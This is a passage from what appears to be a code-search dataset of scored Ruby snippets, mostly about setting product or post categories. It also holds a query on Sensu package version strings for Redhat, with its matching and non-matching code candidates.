"text": "def set_categories(product)\n categories = value('category').split('&')\n\n categories.each do |category_string|\n category_string.strip!\n subcategories = category_string.split('>')\n parent_id = self.root_category.id\n subcategories.each do |category_url_key|\n category_url_key.strip!\n category = Gemgento::Category.find_by(url_key: category_url_key, parent_id: parent_id)\n unless category.nil?\n pc = Gemgento::ProductCategory.find_or_create_by!(category: category, product: product, store: self.store)\n parent_id = category.id\n pc.sync_needed = true\n pc.save\n else\n self.process_errors << \"Row ##{@index}: Unknown category url key '#{category_url_key}' - skipped\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b36c96be39a112b5fbcc7694f78f42e0",
"score": "0.53635806",
"text": "def set_categories\n\t\t@categories = Category.all\t\n\tend",
"title": ""
},
{
"docid": "c8011fea627d79c42f5ef08b3ae03bc8",
"score": "0.5353857",
"text": "def categories\n if @categories.nil?\n @categories = []\n category_nodes =\n FeedTools::XmlHelper.try_xpaths_all(self.channel_node, [\n \"category\",\n \"dc:subject\"\n ])\n unless category_nodes.nil?\n for category_node in category_nodes\n category = FeedTools::Category.new\n category.term = FeedTools::XmlHelper.try_xpaths(category_node, [\n \"@term\",\n \"text()\"\n ], :select_result_value => true)\n category.term.strip! unless category.term.blank?\n category.label = FeedTools::XmlHelper.try_xpaths(\n category_node, [\"@label\"],\n :select_result_value => true)\n category.label.strip! unless category.label.blank?\n category.scheme = FeedTools::XmlHelper.try_xpaths(category_node, [\n \"@scheme\",\n \"@domain\"\n ], :select_result_value => true)\n category.scheme.strip! unless category.scheme.blank?\n @categories << category\n end\n end\n end\n return @categories\n end",
"title": ""
},
{
"docid": "ab29d97a62c98b614d69532e2403ec1d",
"score": "0.5339627",
"text": "def set_SubjectCategory(value)\n set_input(\"SubjectCategory\", value)\n end",
"title": ""
},
{
"docid": "4659e395fbcd9b628f6d11086d0ba057",
"score": "0.53326094",
"text": "def add_categories(categories)\n @redis.sadd category_collection_key, categories\n end",
"title": ""
},
{
"docid": "e76b14da67652803fde2c36d4f421fc4",
"score": "0.5311338",
"text": "def relatable_categories=(value)\n unless value.nil?\n self[:relatable_categories] = value.map{|relatable_category| Calculated::Models::RelatableCategory.new(relatable_category)}\n end\n end",
"title": ""
},
{
"docid": "70418d2190b7d93361f5a5b2bcea5155",
"score": "0.52971506",
"text": "def category_filter_groups=(value)\n @category_filter_groups = value\n end",
"title": ""
},
{
"docid": "777595cca2716b454c345e4623fec8e7",
"score": "0.5295508",
"text": "def categories_attributes=(category_attributes)\n category_attributes.values.each do |category_attribute|\n if category_attribute[\"name\"].present?\n category = Category.find_or_create_by(category_attribute)\n self.categories << category\n end\n end\n end",
"title": ""
},
{
"docid": "bcffe80b7b5d432cd6b1ca98fce2b442",
"score": "0.5270514",
"text": "def set_PSCCategory(value)\n set_input(\"PSCCategory\", value)\n end",
"title": ""
},
{
"docid": "cf7122d8ad3c2d8df86dcbf7b768cd0b",
"score": "0.5259706",
"text": "def categories\n if nodes = @node.xpath(\"category\")\n nodes.map { |node| RSSCategory.new(node) }\n end\n end",
"title": ""
},
{
"docid": "b0cc660d3bf62412898b05c81eabdc3a",
"score": "0.5251466",
"text": "def category1=(value)\n @category1 = value\n end",
"title": ""
},
{
"docid": "2ad69f63beab6878883d62e722a65e0e",
"score": "0.52249074",
"text": "def set_category_window(window)\n @category_window = window\n end",
"title": ""
},
{
"docid": "372e2db0e7e0654e9ae4a178945362d2",
"score": "0.5216945",
"text": "def message_categories(project_id)\n records \"post-category\", \"/projects/#{project_id}/post_categories\"\n end",
"title": ""
},
{
"docid": "923c8a92138a55e4e7842ff0435bc576",
"score": "0.52134925",
"text": "def categories_as_strings= (new_categories)\n categories.clear\n\n new_categories.split(/\\s*, \\s*/).each do |title|\n cat =Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n end\n end",
"title": ""
},
{
"docid": "786541983b70146206bd2a41fdb28b24",
"score": "0.5207195",
"text": "def category23=(value)\n @category23 = value\n end",
"title": ""
},
{
"docid": "48a5b2dc5d20d51a9067902f762a16d2",
"score": "0.51920575",
"text": "def event_categories(options = {})\n response = connection.get do |req|\n req.url \"events/categories\", options\n end\n return_error_or_body(response, response.body.response.categories)\n end",
"title": ""
},
{
"docid": "e537ef2819c833b70ef4cedf333661f0",
"score": "0.51842654",
"text": "def set_categories\r\n @categories = Category.where('courses_count > 0').order(:name)\r\n end",
"title": ""
},
{
"docid": "f192db69a59397eb5b957218c5e93dc2",
"score": "0.51730955",
"text": "def categories\n data['JobCategory'] || []\n end",
"title": ""
},
{
"docid": "6bd1762f6be4e489de6b84e4ecb88d16",
"score": "0.5165565",
"text": "def category_attributes=(category_attributes)\n category_attributes.values.each do |category_attribute|\n category = Category.find_or_create_by(category_attribute)\n self.categories << category\n end\n end",
"title": ""
},
{
"docid": "86b7890e771192776e44c4ff64df08dd",
"score": "0.51644915",
"text": "def set_categories(ids)\n self.categories = Category.find(ids)\n self.save\n end",
"title": ""
},
{
"docid": "6afb3194032664f965af27dcf6a0bab5",
"score": "0.51630294",
"text": "def channel_categories\n build :channel_categories, :using => data_for(:channel_categories)\n end",
"title": ""
},
{
"docid": "698503bcbc59a30f350670b0282d60b2",
"score": "0.51609325",
"text": "def category(category)\n self.category = category\n self\n end",
"title": ""
},
{
"docid": "698503bcbc59a30f350670b0282d60b2",
"score": "0.51609325",
"text": "def category(category)\n self.category = category\n self\n end",
"title": ""
},
{
"docid": "339bcd0ae55365b6528321b6dd48f1d4",
"score": "0.51515746",
"text": "def set_category\n match_data = /^What is [-]?\\d+\\s*(?<operation>[\\+\\-\\*\\/])\\s*[-]?\\d+\\?$/.match(self.query) || {}\n self.category = CATEGORIES[match_data[:operation]]\n end",
"title": ""
},
{
"docid": "c2e4d783874ac0c7b2eee8c85305d019",
"score": "0.5147975",
"text": "def categories\n self.button(:id=>\"entity_group_permissions\").click\n self.button(:text=>\"Categories\").click\n self.wait_until { self.text.include? \"Assign a category\" }\n self.class.class_eval { include AddRemoveCategories }\n end",
"title": ""
},
{
"docid": "df8562301cbc626af2b196ab37530bab",
"score": "0.51414305",
"text": "def categories_attributes=(categories)\n \tcategories.each do |index, category_hash|\n \t\tif category_hash[:name].present?\n\t\t\tcategory = Category.find_or_create_by(name: category_hash[:name])\n\t\t\tif !self.categories.include?(category)\n\t\t\t self.post_categories.build(:category => category) \n\t\t\tend\n end\n \tend\n end",
"title": ""
},
{
"docid": "c222851d064db3aaef70ceebe7a10109",
"score": "0.5132571",
"text": "def categories_as_string= (new_categories)\n categories.clear\n new_categories.split(/\\s*,\\s*/).each do |title|\n cat = Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n end\n end",
"title": ""
},
{
"docid": "8efbadf20853ae8f07589d7714e7a347",
"score": "0.51239157",
"text": "def update_categories(categories, options = {} )\n options.merge!(:docid => self.docid, :categories => categories)\n resp = @conn.put do |req|\n req.url \"categories\"\n req.body = options.to_json\n end\n\n resp.status \n end",
"title": ""
},
{
"docid": "3088eb81a602cb4eef0445c0bb188c8f",
"score": "0.51217645",
"text": "def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend",
"title": ""
},
{
"docid": "ed85ef62daaabad7f66048ab443bd6d4",
"score": "0.51183224",
"text": "def categories\n nodes = @doc.xpath(\"atom:feed/atom:category\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomCategory.new(node) }\n end",
"title": ""
},
{
"docid": "5105dea1019179c0fd0c90ca90795f98",
"score": "0.5115581",
"text": "def categories_attributes=(categories_hashes)\n # raise categories_hashes.inspect\n # {\"0\"=>{\"name\"=>\"new cat 1\"}, \"1\"=>{\"name\"=>new cat 2\"}}\n categories_hashes.each do |index, category_attributes|\n #need to create a category that is alrady assoicated with this post and make sure that this cateogry doesn't already exist\n\n #DO NOT CREATE A CATEGOERY if it doesn't have a name\n if category_attributes[:name].present?\n # also don't add a category if it already has it\n\n category = Category.find_or_create_by(name: category_attributes[:name])\n if !self.categories.include?(category)\n # post_categories\n # self.categories<< category\n self.post_categories.build(:category => category)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "aa1bfdaffa21475a574c55fa6ec45abd",
"score": "0.51131165",
"text": "def set_message_category\n @message_category = MessageCategory.find(params[:id])\n end",
"title": ""
},
{
"docid": "a4f99f67f9775edf571b06a751aa4ca8",
"score": "0.51110727",
"text": "def add_category(category_, pattern_, indexes_=[])\n @mutex.synchronize do\n raise ConfigurationLockedError if @locked\n if @categories.has_key?(category_)\n raise IllegalConfigurationError, \"Category already exists\"\n end\n @categories[category_] = [pattern_, indexes_]\n end\n self\n end",
"title": ""
},
{
"docid": "33262ce8c948660d622d76f86a6bad8d",
"score": "0.5108191",
"text": "def add_category(*category)\n unless category.blank?\n what.query.add(:categories) << category.flatten\n changed\n end\n end",
"title": ""
},
{
"docid": "067771df468df4ab535fb82b2d784a06",
"score": "0.5097339",
"text": "def set_categories\n @categories = Category.all\n end",
"title": ""
},
{
"docid": "aae4c0dfa8ff6cf63d743a536f146919",
"score": "0.50862175",
"text": "def category22=(value)\n @category22 = value\n end",
"title": ""
},
{
"docid": "9c2bfeae0ca3bd44270b2dd6a1e2eaab",
"score": "0.5083634",
"text": "def setCategoryId(categoryId)\r\n\t\t\t\t\t@categoryId = categoryId\r\n\t\t\t\tend",
"title": ""
},
{
"docid": "98cde6ce65b2c5f1b8db86e868824292",
"score": "0.50835955",
"text": "def set_categories\n @categories = {}\n @mechanize.page.search('//*[@id=\"prtcalst\"]//li').each do |cat|\n cat_link = cat.search('a')[0]\n cat_name = cat.search('.//em')[0].inner_text()\n catObj = Category.new()\n catObj.elem = cat_link\n catObj.name = cat_name\n @categories[cat_name] = catObj\n\n puts(\"#{cat_name}\")\n puts(\"-------------------\")\n end\n end",
"title": ""
},
{
"docid": "86d4591c9e6f27d0767e962a55ebd4ef",
"score": "0.508005",
"text": "def set_category\n raise Error::CustomError.error(422, :CAT_02, \"category\") unless Number.is_integer?(params[:category_id])\n begin\n @category = Category.find(params[:category_id])\n rescue ActiveRecord::RecordNotFound\n raise Error::CustomError.error(404, :CAT_01, \"category\")\n rescue\n raise Error::CustomError.error(500, :ISE, \"category\")\n end\n end",
"title": ""
},
{
"docid": "e4a17b2cac751bb46f3e759a4fb7f7da",
"score": "0.50752157",
"text": "def set_category\n @categories = Category.find(params[:id])\n end",
"title": ""
},
{
"docid": "d162d77b125929a351932359fe76bbc5",
"score": "0.5072925",
"text": "def update_categories(cats=[])\n rescue_extra_data\n cats = cats.to_i\n old_categories = categories.pluck(\"#{CamaleonCms::TermTaxonomy.table_name}.id\")\n delete_categories = old_categories - cats\n news_categories = cats - old_categories\n term_relationships.where(\"term_taxonomy_id in (?)\", delete_categories ).destroy_all if delete_categories.present?\n news_categories.each do |key|\n term_relationships.create(:term_taxonomy_id => key)\n end\n update_counters(\"categories\")\n end",
"title": ""
},
{
"docid": "03f692d364f6a7514d68a4f271422b5f",
"score": "0.50709075",
"text": "def assign_category(categories_id)\n categories_id = [categories_id] if categories_id.is_a?(Integer)\n rescue_extra_data\n categories_id.each do |key|\n term_relationships.where(:term_taxonomy_id => key).first_or_create!\n end\n update_counters(\"categories\")\n end",
"title": ""
},
{
"docid": "6189090a2b7428137dcb462e38b80c66",
"score": "0.50690216",
"text": "def handle_categories(category_names)\n return if !self.undergrad? || category_names.nil?\n self.categories = [] # eliminates any previous interests so as to avoid duplicates\n category_array = []\n category_array = category_names.split(',').uniq if category_names\n category_array.each do |cat|\n self.categories << Category.find_or_create_by(name: cat.downcase.strip)\n end\n end",
"title": ""
},
{
"docid": "a75293484593d838af1b7c9735a646b5",
"score": "0.5059685",
"text": "def category_id=(category_id)\n return if self.category_ids.include? category_id\n self.category_ids = [category_id]\n end",
"title": ""
},
{
"docid": "e73bf9cc842a7a82bf87db84489976e6",
"score": "0.50575465",
"text": "def categories_attributes=(category_attributes)\n category_attributes.values.each do |category_attribute|\n if !category_attribute[:name].empty?\n category = Category.find_or_create_by(category_attribute)\n self.categories << category\n end\n end \n \n end",
"title": ""
},
{
"docid": "3946cfb580f3a1652081bb9cd28c46df",
"score": "0.50333726",
"text": "def categories_attributes=(category_attributes)\n # byebug\n category_attributes.values.each do |category_attribute|\n unless category_attribute['name'].empty?\n category = Category.find_or_create_by(category_attribute)\n self.categories << category \n end \n end\n end",
"title": ""
},
{
"docid": "e4b4363601b674943a0e0125092bf6c9",
"score": "0.50188214",
"text": "def categories\n notify Category.all(:order => \"name ASC\").collect {|c| c.name_with_id }.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "8e31002fcd782ab7e7d3c06ac93c9dcb",
"score": "0.5017697",
"text": "def set_categories_category_expense\n @categories_category_expense = Categories::CategoryExpense.find(params[:id])\n end",
"title": ""
},
{
"docid": "9f252f1175110be05916e77695fc94e0",
"score": "0.50147027",
"text": "def categories_validate(categories)\r\n categories = categories.split(',')\r\n user_message = \"\"\r\n cats_seen = []\r\n categories.each do |cat|\r\n cat.strip!\r\n next if cats_seen.include?(cat)\r\n cats_seen << cat\r\n user_message << \" Category '#{cat}' was too long.\" if cat.length > 25\r\n good_chars = [*'0'..'9', *'a'..'z', *'A'..'Z', '/', '-', '(', ')', '&',\r\n '#', '@', '+', '.', '?', '!'].join ' '\r\n word_chars = [*'0'..'9', *'a'..'z', *'A'..'Z'].join\r\n unless cat.split(//).all? {|char| good_chars.include?(char) }\r\n user_message << \" Category '#{cat}' had weird characters.\"\r\n end\r\n unless cat.split(//).any? {|char| word_chars.include?(char)}\r\n user_message << \" Category '#{cat}' lacks a letter or digit.\"\r\n end\r\n end\r\n return user_message unless user_message == \"\"\r\n return true\r\n end",
"title": ""
},
{
"docid": "56529570bfc3f3471c671b676272b507",
"score": "0.5014361",
"text": "def message_category_params\n params.fetch(:message_category, {}).permit(:title, :send_at, :user_id, :severity)\n end",
"title": ""
},
{
"docid": "c0612514dee5992707b63a791539c22d",
"score": "0.5005146",
"text": "def category11=(value)\n @category11 = value\n end",
"title": ""
},
{
"docid": "87636d8df96eaa31ab9cf64433f46547",
"score": "0.50003535",
"text": "def category18=(value)\n @category18 = value\n end",
"title": ""
},
{
"docid": "945a8bd22f1ffb514005bb4aa0d418c0",
"score": "0.49788296",
"text": "def categories(body, headers, expectation = nil)\n expectation ||= Occi::Core::Category\n logger.debug \"Parsing #{expectation} from #{body.inspect} and #{headers.inspect}\" if logger_debug?\n\n cats = transform(body, headers).map do |line|\n cat = Text::Category.plain_category(line, false)\n lookup \"#{cat[:scheme]}#{cat[:term]}\", expectation\n end\n\n setify(cats)\n end",
"title": ""
},
{
"docid": "6515d00dc30b213c5abad610dcd3100b",
"score": "0.49778426",
"text": "def category_attributes=(category_attributes) # arg. will be key value pair to search for/create\n self.category = Category.find_or_create_by(category_attributes)\n end",
"title": ""
},
{
"docid": "d76aff19990e0d587176acfeae7aed3d",
"score": "0.49588722",
"text": "def category10=(value)\n @category10 = value\n end",
"title": ""
},
{
"docid": "7594c07897719aa7c21c186ace679818",
"score": "0.49555075",
"text": "def category20=(value)\n @category20 = value\n end",
"title": ""
},
{
"docid": "8b77205e85c7611411d7c8eaa75f97fd",
"score": "0.49543533",
"text": "def categories\n category_keys.collect(&:to_s)\n end",
"title": ""
},
{
"docid": "683768c6ef5e4a6deab5c9fa7cab9f0c",
"score": "0.49400553",
"text": "def malware_category_summary=(value)\n @malware_category_summary = value\n end",
"title": ""
},
{
"docid": "250e2338e4e7198e9f4a82a8b9902e3e",
"score": "0.49263132",
"text": "def categories_attributes=(categories_hash)\n # {\"0\"=>{\"name\"=>\"Romance\"}, \"1\"=>{\"name\"=>\"\"}}\n # raise categories_attributes.inspect\n categories_hash.each do |index, category_attribute|\n # find or create if post doesn't have this category BAD\n # self.category.find_or_create_by(name: category_attribute[:name])\n # find or create if this post doesn't exist yet GOOD\n if category_attribute[:name].present?\n category = Category.find_or_create_by(name: category_attribute[:name])\n if !self.categories.include?(category)\n self.post_categories.build(:category => category)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "400a06e2e7ace49ddcf6e9af9859f28f",
"score": "0.492482",
"text": "def categories\n\t\trender :json => {:status => 1, :categories => {\"1\" => \"Apparel & Accessories\", \"2\" => \"Arts and Crafts\", \"3\" => \"Electronics\", \n\t\t\t\"4\" => \"Home Appliances\", \"5\" => \"Kids & Baby\", \"6\" => \"Movies, Music, Books & Games\", \"7\" => \"Motor Vehicles\", \n\t\t\t\"8\" => \"Office & Education\", \"9\" => \"Parties & Events\", \"10\" => \"Spaces & Venues\", \"11\" => \"Sports & Outdoors\", \"12\" => \"Tools & Gardening\", \"13\" => \"Other\"}}, :status => 200\n\t\treturn\n\tend",
"title": ""
},
{
"docid": "74ed35929e392450d9799c08d02090a1",
"score": "0.4921092",
"text": "def categories_attributes=(attributes)\n attributes.each do |index, attribute|\n unless attribute[:title].blank? || self.categories.map(&:title).include?(attribute[:title])\n existing_category = self.categories[index.to_i]\n if existing_category == nil\n new_category = Category.create(title: attribute[:title])\n self.categories << new_category\n else\n existing_category.update(title: attribute[:title])\n end\n end\n end\n end",
"title": ""
},
{
"docid": "abddbeb6a28f20b23079489d155769d6",
"score": "0.49199328",
"text": "def category15=(value)\n @category15 = value\n end",
"title": ""
},
{
"docid": "6cf70edbb47eaa73ed67f17a707eb4ff",
"score": "0.49131906",
"text": "def category=(cat, *args, &block)\n cat = $game_system.masai_category if $game_system.masai_category.is_a?(Symbol)\n # Run Original Method\n super(cat, *args, &block)\n end",
"title": ""
}
] |
dfdf4aa1b270a21c234c03be7188041a
|
Derives Sensu package version strings for Redhat platforms. When the desired Sensu version is '0.27.0' or later, the package requires a '.elX' suffix.
|
[
{
"docid": "c08e7aa14712301f0eb64793ed12e3c8",
"score": "0.7762666",
"text": "def redhat_version_string(sensu_version, platform_version, suffix_override = nil)\n bare_version = sensu_version.split('-').first\n if Gem::Version.new(bare_version) < Gem::Version.new('0.27.0')\n sensu_version\n else\n platform_major = Gem::Version.new(platform_version).segments.first\n suffix = suffix_override || \".el#{platform_major}\"\n [sensu_version, suffix].join\n end\n end",
"title": ""
}
] |
[
{
"docid": "ee44f5fa47e609c4012a7b211dcd8d24",
"score": "0.6696706",
"text": "def rpm_family_and_version\n if Pkg::Config.vanagon_project\n Pkg::Config.rpm_targets.split(' ').map do |target|\n rpm_el_family, rpm_el_version, = target.split('-')\n \"#{rpm_el_family}-#{rpm_el_version}\"\n end\n else\n Pkg::Config.final_mocks.split.map { |mock| \"#{mock_el_family(mock)}-#{mock_el_ver(mock)}\" }\n end\nend",
"title": ""
},
{
"docid": "de76732bf1575a618ba041238fbe7a40",
"score": "0.637102",
"text": "def platform_version_for_package\n if platform == 'rhel'\n platform_version[/([\\d]+)\\..+/, 1]\n else\n platform_version\n end\n end",
"title": ""
},
{
"docid": "6fbcc8257f4430fcca9376f7420c9d22",
"score": "0.6203696",
"text": "def yum_repo_platform_family_string\n platform_family?('fedora') ? 'fedora' : 'redhat'\n end",
"title": ""
},
{
"docid": "1b93f60c52bd6d67fe471737f5bb68a4",
"score": "0.62036604",
"text": "def el_version\n if File.exists?('/etc/fedora-release')\n nil\n elsif File.exists?('/etc/redhat-release')\n rpm = Pkg::Util::Tool.find_tool('rpm', :required => true)\n stdout, _, _ = Pkg::Util::Execution.capture3(\"#{rpm} -q --qf \\\"%{VERSION}\\\" $(#{rpm} -q --whatprovides /etc/redhat-release )\")\n stdout\n end\n end",
"title": ""
},
{
"docid": "4c334260620e9e93a6bacb2619fab09a",
"score": "0.6183196",
"text": "def yum_repo_platform_string\n platform = platform?('fedora') ? 'fedora' : 'rhel'\n release = platform?('amazon') ? '6' : '$releasever'\n \"#{platform}-#{release}-$basearch\"\n end",
"title": ""
},
{
"docid": "40f9c48ebd5621c58e5413ae0bbc7040",
"score": "0.61794317",
"text": "def yum_repo_platform_string\n platform = platform?('fedora') ? 'fedora' : 'rhel'\n release = platform?('amazon') ? '7' : '$releasever'\n \"#{platform}-#{release}-$basearch\"\n end",
"title": ""
},
{
"docid": "790199a3d8e8a0e9f0706f10c9fe71dc",
"score": "0.61380136",
"text": "def version_number\n self.name =~ /RHEL-([0-9]+)/\n return $1.to_i\n end",
"title": ""
},
{
"docid": "a4026a559d5619c93ee4db57152dc209",
"score": "0.6111092",
"text": "def yum_repo_platform_family_string\n platform_family?('fedora') ? 'fedora' : 'redhat'\n end",
"title": ""
},
{
"docid": "9b66679e611aa6aa3d349c23391d5086",
"score": "0.6068337",
"text": "def installer_filename\n if PRE_RELEASE\n \"puppet-enterprise-#{pe_version}-el-7-x86_64.tar\"\n else\n \"puppet-enterprise-#{pe_version}-el-7-x86_64.tar.gz\"\n end\nend",
"title": ""
},
{
"docid": "319b4eca8bbe712c5341eedf0a69cf07",
"score": "0.60538036",
"text": "def redhat_linux_type\n if @redhat_linux_type.nil?\n out = nil\n text = FilePath.new(\"/etc/redhat-release\").suck_file\n unless text.nil?\n if text =~ /red\\s*hat/i\n out = \"rh\"\n out += \"el\" if text =~ /enterprise/i\n out += \"es\" if text =~ /\\s+ES\\s+/i\n out += \"%s\" % $1 if text =~ /release\\s+(\\d+)/i\n out += \"-update-%s\" % $1 if text =~ /update\\s+(\\d+)/i\n end\n end\n \n @redhat_linux_type = out\n end\n \n @redhat_linux_type\n end",
"title": ""
},
{
"docid": "10ed2ab1ea93b91805ab8eaa0f8d6ff5",
"score": "0.59840685",
"text": "def get_version_info\n if defined?(Sensu::Enterprise::VERSION)\n [\"enterprise\", Sensu::Enterprise::VERSION]\n else\n [\"core\", Sensu::VERSION]\n end\n end",
"title": ""
},
{
"docid": "35d795a8cd3019f54ecb80edc14105ff",
"score": "0.5929955",
"text": "def native_pkg_to_install_string(pkg)\n name = pkg[:metadata][:name]\n version = pkg[:metadata][:version]\n package_version = pkg[:metadata][:package_version]\n pkgname = \"#{name}-#{version}\"\n if package_version\n pkgname << \"-#{package_version}\"\n end\n pkgname\n end",
"title": ""
},
{
"docid": "979389a9c984888c0a6a6781b20afd3e",
"score": "0.592961",
"text": "def package_name\n ver = if new_resource.version == 'latest'\n package_metadata[:version]\n else\n new_resource.version\n end\n \"Chef Development Kit v#{ver}\"\n end",
"title": ""
},
{
"docid": "0bc411d619ad1fdf89f6428dac0340ea",
"score": "0.58952844",
"text": "def is_yum_platform\n node[:platform_family] == \"rhel\"\nend",
"title": ""
},
{
"docid": "d1068cea09e78a3119cf4614c0475aee",
"score": "0.58706206",
"text": "def platform_and_version\n return \"debian-#{node['platform_version'].to_i}\" if node['platform'] == 'debian'\n return \"ubuntu-#{node['platform_version']}\" if node['platform'] == 'ubuntu'\n end",
"title": ""
},
{
"docid": "18f749c87869fd73abe48a7070d126ff",
"score": "0.5855932",
"text": "def mock_el_ver(mock_config)\n if Pkg::Config.build_pe\n # This uses a regex capture instead of splitting to allow the now defunct PE version component to be optional\n version = mock_config.match(/^pupent-(\\d\\.\\d-)?([a-z]+)([0-9]+)-(.*)$/)[3]\n else\n first, second, third = mock_config.split('-')\n if ['el', 'fedora'].include?(first) || (first == 'pl' && second.match(/^\\d+$/))\n version = second\n else\n version = third\n end\n end\n if [first, second].include?('fedora')\n version = \"f#{version}\"\n end\n version\nend",
"title": ""
},
{
"docid": "583602dc6c808944fbcf94b1b93308b1",
"score": "0.58340466",
"text": "def rpm_version(name)\n if (self.centos? && !self.centos7?) || self.fedora? || self.redhat8? || self.oracle8? || self.redhat9?\n # returns epoch.version\n v = Chef::Provider::Package::Dnf::PythonHelper.instance.\n package_query(:whatinstalled, name).version\n unless v.nil?\n v.split(':')[1]\n end\n elsif self.centos7? &&\n (FB::Version.new(Chef::VERSION) > FB::Version.new('14'))\n # returns epoch.version.arch\n v = Chef::Provider::Package::Yum::PythonHelper.instance.\n package_query(:whatinstalled, name).version\n unless v.nil?\n v.split(':')[1]\n end\n else\n # return version\n Chef::Provider::Package::Yum::YumCache.instance.\n installed_version(name)\n end\n end",
"title": ""
},
{
"docid": "8acfcbc37e9a63d3614675b2e93921e8",
"score": "0.5791367",
"text": "def get_pkg_extn\n node.java.version == '6' ? 'bin' : node[:java]['package']['extn']\n end",
"title": ""
},
{
"docid": "da53f0d7cc1a309838781efa9b9c5a6f",
"score": "0.5760034",
"text": "def rubygems_version_string\n VERSION.gsub(/[-\\+]/,'.')\n end",
"title": ""
},
{
"docid": "470cf8e294a86e59f8d45723314d5782",
"score": "0.5758518",
"text": "def supported_pkgs\n {\"rpm\"=>1, \"deb\"=>1}\nend",
"title": ""
},
{
"docid": "354fca4c311dee4f6e4eb45d56d0eb44",
"score": "0.5705649",
"text": "def server_pkg_name\n platform_family?('debian') ? \"postgresql-#{new_resource.version}\" : \"postgresql#{new_resource.version.delete('.')}-server\"\n end",
"title": ""
},
{
"docid": "f16eec566da5af2501c583dc97b1cf9f",
"score": "0.5701356",
"text": "def linux_version\n case ENV['MACHTYPE']\n when \"s390x-suse-linux\"\n :sles_zlnx\n when /^i[356]86/\n if File.exist? \"/etc/fedora-release\"\n :linux_ia32_cell\n else\n :linux_ia32\n end\n else\n if File.exist? \"/etc/rhel-release\"\n :rhel\n elsif File.exist? \"/etc/redhat-release\"\n `awk '/release 5/||/release 4.9/{v=5};/release 4/{v=4}; END {print \"rhel\" v}' /etc/redhad-release`.to_sym\n elsif File.exist? \"/etc/SuSE-release\"\n `awk '$1==\"VERSION\" { v=$3}; END { print \"sles\" v}' /etc/SuSE-release`.to_sym\n elsif File.exist? \"/etc/yellowdog-release\"\n :yhpc\n else\n :rhel\n end\n end\nend",
"title": ""
},
{
"docid": "ed5bca9f9f3cf6212cf36326ce663cab",
"score": "0.5681593",
"text": "def version_to_install\n return config[:bootstrap_version] if config[:bootstrap_version]\n\n if config[:channel] == \"stable\"\n Chef::VERSION.split(\".\").first\n else\n \"latest\"\n end\n end",
"title": ""
},
{
"docid": "85340fc6cb8103d5767b99443f6345d9",
"score": "0.5670503",
"text": "def jboss_product\n Facter.value(:jboss_product)\n end",
"title": ""
},
{
"docid": "9280469f21c45cc1635fe182e99d7ab3",
"score": "0.56626844",
"text": "def find_centos_minor_version\n os_minor_version = ''\n kernel_patch_version = find_kernel_patch_version\n\n os_minor_version = '7' if kernel_patch_version >= '1062'\n os_minor_version = '8' if kernel_patch_version >= '1127'\n os_minor_version = '9' if kernel_patch_version >= '1160'\n\n os_minor_version\nend",
"title": ""
},
{
"docid": "c754ffaac04bea10ccfeafbfe481d254",
"score": "0.56309503",
"text": "def packages_providing(component)\n matches = []\n `yum provides #{component}`.each_line { |l|\n matches << $1 if l =~ /(.*)\\.fc.*/\n }\n matches\nend",
"title": ""
},
{
"docid": "2c3f0bf32b5bb597bcf2495113987124",
"score": "0.55876535",
"text": "def yum_releasever\n platform?('amazon') ? '7' : '$releasever'\n end",
"title": ""
},
{
"docid": "1a128dd5395b58796de7e9fcd7a49aa0",
"score": "0.558727",
"text": "def rhel6x?\n major_version = node['platform_version'].split('.').first.to_i\n platform_family?('rhel') && major_version >= 6 && major_version < 7\n end",
"title": ""
},
{
"docid": "ef9cee190bb1041360cebf36d1a5f50e",
"score": "0.55854523",
"text": "def distro_ruby_versions\n case distribution_class\n when :ubuntu\n if is_distribution?(\"<= artful\")\n [\"2.3\"]\n elsif is_distribution?(\"<= eoan\")\n [\"2.5\"]\n elsif is_distribution?(\"<= impish\")\n [\"2.7\"]\n elsif is_distribution?(\"<= kinetic\")\n [\"3.0\"]\n else\n [\"3.1\"]\n end\n when :debian\n if is_distribution?(\"<= jessie\")\n [\"2.1\"]\n elsif is_distribution?(\"<= stretch\")\n [\"2.3\"]\n elsif is_distribution?(\"<= buster\")\n [\"2.5\"]\n elsif is_distribution?(\"<= bullseye\")\n [\"2.7\"]\n else\n [\"3.1\"]\n end\n else\n raise \"Unknown distribution class\"\n end\nend",
"title": ""
},
{
"docid": "541de54fde33b0b6212660e5da6f5c68",
"score": "0.55832225",
"text": "def osgi_version_for(version)\n parts = version.split(/[\\.,-]/)\n result = Array.new(3, 0)\n parts.each_index { |i|\n if (result.size == 3) then\n if (parts[i] =~ /\\d+/) then result[i] = parts[i] else result = result << parts[i] end\n else\n result[3] = [result[3], parts[i]].join(\"-\")\n end\n }\n result.join(\".\")\nend",
"title": ""
},
{
"docid": "ffdec9a6c4f5e29cd46e887e2b801ed8",
"score": "0.55600524",
"text": "def rhel5x?\n major_version = node['platform_version'].split('.').first.to_i\n platform_family?('rhel') && major_version < 6\n end",
"title": ""
},
{
"docid": "ffdec9a6c4f5e29cd46e887e2b801ed8",
"score": "0.55600524",
"text": "def rhel5x?\n major_version = node['platform_version'].split('.').first.to_i\n platform_family?('rhel') && major_version < 6\n end",
"title": ""
},
{
"docid": "bf7896dce92b3b146a8ec59c58c70c35",
"score": "0.5528883",
